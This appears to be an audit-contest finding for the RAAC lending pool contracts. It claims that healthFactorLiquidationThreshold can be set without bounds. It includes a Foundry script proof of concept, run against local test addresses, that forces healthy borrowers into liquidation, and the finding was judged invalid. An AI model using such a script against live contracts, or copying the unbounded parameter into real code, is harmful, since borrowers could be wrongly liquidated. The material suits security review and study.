Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

user liquidation triggered by manipulated liquidation price

Summary

The setParameter function in the LendingPool contract allows the owner to modify healthFactorLiquidationThreshold, which determines whether a borrower is eligible for liquidation. However, the function lacks minimum and maximum value validation, potentially allowing the parameter to be set to an extreme value that prevents all liquidations or forces unnecessary liquidations.

Vulnerability Details

else if (param == OwnerParameter.HealthFactorLiquidationThreshold) {
healthFactorLiquidationThreshold = newValue;
emit LiquidationParametersUpdated(liquidationThreshold, healthFactorLiquidationThreshold, liquidationGracePeriod);
}

The healthFactorLiquidationThreshold is a critical parameter used to determine when a user's position is liquidated. however, there is no logic to check

Impact

if an insider sets the healthfactoriquidationthreshold value extremely high, all positions can be liquidated regardless of funds, and if it is set to 0, no one gets liquidated.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {console, Script} from "forge-std/Script.sol";
import {RAACNFT} from "../src/contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../src/contracts/core/tokens/RToken.sol";
import {LendingPool} from "../src/contracts/core/pools/LendingPool/LendingPool.sol";
import {RAACHousePrices} from "../src/contracts/core/primitives/RAACHousePrices.sol";
import {RAACToken} from "../src/contracts/core/tokens/RAACToken.sol";
import {crvUSDToken} from "src/contracts/mock/core/token/crvUSDToken.sol";
import "../src/contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
contract Solve is Script, Test{
RAACNFT public raacnft;
RAACHousePrices public raac_hp;
RAACToken public raactoken;
LendingPool public lendingpool;
RToken public rtoken;
crvUSDToken public crvusdtoken;
mapping(uint256 => bool) public depositedNFTs;
//IERC20 public raactoken;
address public useraddr = vm.envAddress("AASD");
address public useraddr2 = vm.envAddress("BIDDER1");
address public useraddr3 = vm.envAddress("AAASDF");
address public owner = vm.envAddress("OWNER");
address public RAACHOUSEPRICES_ADDR = vm.envAddress("RAACHousePrices");
address public CRVUSD_ADDR = vm.envAddress("CRV_USD");
address public RAACNFT_ADDR = vm.envAddress("NFT_CONTRACT");
address public RAACTOKEN_ADDR = vm.envAddress("RAACTOKEN");
address public LENDINGPOOL_ADDR = vm.envAddress("LENDINGPOOL");
address public RATOKEN_ADDR = vm.envAddress("RTOKEN");
constructor() {
rtoken = RToken(RATOKEN_ADDR);
raac_hp = RAACHousePrices(RAACHOUSEPRICES_ADDR);
raacnft = RAACNFT(RAACNFT_ADDR);
raactoken = RAACToken(RAACTOKEN_ADDR);
lendingpool = LendingPool(LENDINGPOOL_ADDR);
crvusdtoken = crvUSDToken(CRVUSD_ADDR);
}
function init() internal {
crvusdtoken.mint(address(rtoken), 10000 ether);
crvusdtoken.mint(useraddr, 10000 ether);
vm.startPrank(owner);
raactoken.setMinter(owner);
raactoken.mint(useraddr2, 10000 ether);
raactoken.mint(useraddr3, 10000 ether);
raac_hp.setOracle(owner);
raac_hp.setHousePrice(1, 10000 ether);
raac_hp.setHousePrice(2, 10000 ether);
vm.stopPrank();
vm.startPrank(useraddr2);
raactoken.approve(address(raacnft), 10000 ether);
raacnft.mint(1, 10000 ether);
raacnft.approve(address(lendingpool), 1);
vm.startPrank(useraddr3);
raactoken.approve(address(raacnft), 10000 ether);
raacnft.mint(2, 10000 ether);
raacnft.approve(address(lendingpool), 2);
vm.stopPrank();
// liquidity supply
vm.startPrank(useraddr);
crvusdtoken.approve(address(lendingpool), 10000 ether);
lendingpool.deposit(10000 ether);
vm.stopPrank();
}
function run() public {
init(); // initial setup for lendingpool(), not important
// user 2 deposits nft and borrows tokens
vm.startPrank(useraddr2);
lendingpool.depositNFT(1);
(uint256[] memory nftTokenIds,,,,,,,) = lendingpool.getAllUserData(useraddr2);
require(nftTokenIds[0] == 1, "nft was not deposited into the lendingpool");
lendingpool.borrow(50 ether);
console.log("user2's debt : ", lendingpool.getUserDebt(useraddr2));
console.log("NFT1 Price : ", lendingpool.getNFTPrice(1));
vm.stopPrank();
/*
user 1 attempts to open liquidation on user 2
however, due to the large collateral, no liquidation occurs
*/
vm.startPrank(useraddr);
vm.expectRevert(); // HealthFactorTooLow()
lendingpool.initiateLiquidation(useraddr2);
vm.stopPrank();
vm.startPrank(owner);
ILendingPool.OwnerParameter param = ILendingPool.OwnerParameter(1);
lendingpool.setParameter(param, type(uint256).max);
vm.stopPrank();
/*
user 1 attempts to open liquidation on user 2 again
right now, due to overzealous internal settings, every user is open for liquidation regardless of funds
*/
vm.startPrank(useraddr);
lendingpool.initiateLiquidation(useraddr2);
console.log("user2's isUnderLiquidation : ", lendingpool.isUnderLiquidation(useraddr2));
vm.stopPrank();
// repeat the above process one more time with user 3 (for demonstration).
vm.startPrank(useraddr3);
lendingpool.depositNFT(2);
(nftTokenIds,,,,,,,) = lendingpool.getAllUserData(useraddr3);
require(nftTokenIds[0] == 2, "nft was not deposited into the lendingpool");
lendingpool.borrow(20 ether);
console.log("user3's debt : ", lendingpool.getUserDebt(useraddr3));
console.log("NFT2 Price : ", lendingpool.getNFTPrice(2));
vm.stopPrank();
vm.startPrank(useraddr);
lendingpool.initiateLiquidation(useraddr3);
console.log("user3's isUnderLiquidation : ", lendingpool.isUnderLiquidation(useraddr3));
vm.stopPrank();
}
}
❯ forge script --rpc-url $RPC_URL Solve
[⠊] Compiling...
No files changed, compilation skipped
Script ran successfully.
== Logs ==
user2's debt : 50000000000000000000
NFT1 Price : 10000000000000000000000
user2's isUnderLiquidation : true
user3's debt : 20000000000000000000
NFT2 Price : 10000000000000000000000
user3's isUnderLiquidation : true
AASD=0xdF3e18d64BC6A983f673Ab319CCaE4f1a57C7097
AAASDF=0xdD2FD4581271e230360230F9337D5c0430Bf44C0
BIDDER1=0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
OWNER=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
CRV_USD=0xF0a61673168A356d8e9E43227b780D7Ba4ee4BC8
RAACTOKEN=0xE19725bA297E8655f174AAe59c718D38A2DdB7Af
RTOKEN=0x4710884418FcaA30ECA1DDDd25449A3B35494F96
RAACHousePrices=0xaf6d22Ae5037CeE88D45439CA6130d13e4347222
NFT_CONTRACT=0x2fF1Ba3CA26d36Ee222e12a4Bf6b909E4f42D62e
LENDINGPOOL=0x7762FE02BCB9C24231211E6E542380E9F94DD487

the above PoC sets the healthFactorLiquidationThreshold value to the maximum value of uint256, causing all positions to begin liquidation. the opposite is also possible

Recommendations

Set minimum and maximum constraints for healthFactorLiquidationThreshold

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.